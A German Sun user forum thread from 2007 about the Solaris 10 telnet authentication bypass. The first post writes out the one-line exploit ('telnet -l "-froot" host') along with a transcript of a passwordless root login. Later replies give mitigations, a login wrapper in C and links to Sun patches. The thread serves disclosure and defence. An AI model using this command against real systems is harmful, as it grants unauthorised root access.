sonnenblen.de - Das unabhängige Sun User Forum
Betriebssysteme => Solaris => Thema gestartet von: signal_15 am 12. Februar 2007, 15:47:40
-
Hi,
in der full-disclosure mailing-liste habe ich heute was interessantes gelesen und musste es gleich ausprobieren. und in der tat, es funktioniert bei meiner sol10 buechse. leider habe ich nur eine und die ist noch dazu ohne patches. ich bin mir nicht ganz sicher, aber es koennte solaris10 10/06 sein!? (wenn es das ueberhaupt gibt. wie bekomme ich raus auf welchem 'level' das os sich befindet?)
probiert mal folgendes von einer anderen solaris kiste aus.
telnet -l "-froot" [hostname]
in der /etc/default/login ist die zeile mit der 'Console' nicht kommentiert. somit bekomme ich sofort die meldung, dass ich nicht an der system console bin und mich schleichen soll. anders sieht es aus wenn die zeile kommentiert wird. mit weiteren useraccounts funktioniert es ebenfalls, soweit man die schreibweise des benutzerkontos kennt.
odin~# cat /etc/default/login | grep -i console
# If CONSOLE is set, root can only login on that device.
# CONSOLE=/dev/console
ismine~# telnet -l "-froot" odin
Trying 192.168.2.17...
Connected to odin.wwhsnet.rz-amper.com.
Escape character is '^]'.
Commodore AmigaOS 5.9
Not on system console
Connection to odin.wwhsnet.rz-amper.com closed by foreign host.
odin~# cat /etc/default/login | grep -i console
# If CONSOLE is set, root can only login on that device.
CONSOLE=/dev/console
ismine~# telnet -l "-froot" odin
Trying 192.168.2.17...
Connected to odin.wwhsnet.rz-amper.com.
Escape character is '^]'.
Commodore AmigaOS 5.9
Last login: Tue Nov 28 19:34:50 on console
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
You have fucking new mail.
odin~#
ct,
-
Moin,
von der Sicherheitsluecke sind alle Solaris 10 Systeme betroffen (und natuerlich OpenSolaris bzw. Solaris Express). Aeltere Solaris Releases hingegen haben das Problem nicht.
Generell wuerde ich eh ssh empfehlen. Wer noch telnet am laufen hat, kann es mit diesem Befehl abstellen:
# svcadm disable telnet
Patches gibt es von Sun noch nicht (zumindest nicht auf SunSolve frei verfuegbar).
Tschau,
Drusus.
p.s. Deine OS Release erhaeltst du mit "uname -r". Wenn da 5.10 oder 5.11 rauskommt, dann ist man betroffen und sollte den Telnet Service abschalten.
-
leider habe ich nur eine und die ist noch dazu ohne patches. ich bin mir nicht ganz sicher, aber es koennte solaris10 10/06 sein!? (wenn es das ueberhaupt gibt. wie bekomme ich raus auf welchem 'level' das os sich befindet?)
Das steht in der Datei /etc/release:
# [b]cat /etc/release[/b]
Solaris 10 1/06 s10x_u1wos_19a X86
Copyright 2005 Sun Microsystems, Inc. All Rights Reserved.
Use is subject to license terms.
Assembled 07 December 2005
#
Zu dem Bug müßte ich mal etwas suchen, wenn das schon älter ist, gibt es da bestimmt einen Patch.
-
Hallo.
Das einfachste wäre natürlich in.telnetd neu zu compilieren und dabei vorher so zu verändern, dass bei getenv("USER") auf Plausibilität geprüft wird. Leider ist mir das Runterladen von opensolaris.org (samt aller notwendigen .h-Dateien zu langwierig).
Ich habe daraufhin /usr/sbin/in.telnetd kopiert (Sicherheitskopie) und in einen Binäreditor (bei mir Gnome ghex2) genommen und alle /bin/login durch /bin/logtl ersetzt (4 Vorkommen).
Dann habe ich mit folgendem C-Code die Datei /bin/logtl erzeugt:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char **argv)
{
char *argl[1000];
int i;
static const char * const loginbin="/bin/login";
if(getenv("USER"))
{
printf("telnet -l is not allowed on this system.\n");
argl[1]=NULL;
}
else
{
for(i=1;i<argc;i++) argl[i]=argv[i];
argl[argc]=0;
}
argl[0]=(char *)loginbin;
execv(loginbin,argl);
printf("Could not execute /bin/login.\n");
return 1;
}
Der Server blockt jetzt Verbindungen mit der "-l"- Option ab und fragt immer nach Username und Passwort.
Übrigens: Ohne Patch kann man selbst bei "CONSOLE=..." über "telnet -l -fuser localhost" außer root alle Benutzer wie bei "su" nur ohne Passwort erreichen => nicht gut!!
Martin
-
Moin,
der Bug ist zwar uralt aber in Solaris 10 neu eingebaut wurden. Inzwischen gibts dazu einen Sun Alert unter http://sunsolve.sun.com/search/document.do?assetkey=1-26-102802-1 (http://sunsolve.sun.com/search/document.do?assetkey=1-26-102802-1). Die Patches dazu gibt es noch nicht. Es gibt allerdings Security Fixes um das Loch zu stopfen. Diese liegen unter http://sunsolve.sun.com/tpatches (http://sunsolve.sun.com/tpatches) zum Download bereit.
Tschau,
Drusus.
-
Moin,
inzwischen sind die Patches da (der o.g. Sun Alert zeigt nun auf die Patch-Nummern und diese sind auch frei verfuegbar).
Tschau,
Drusus.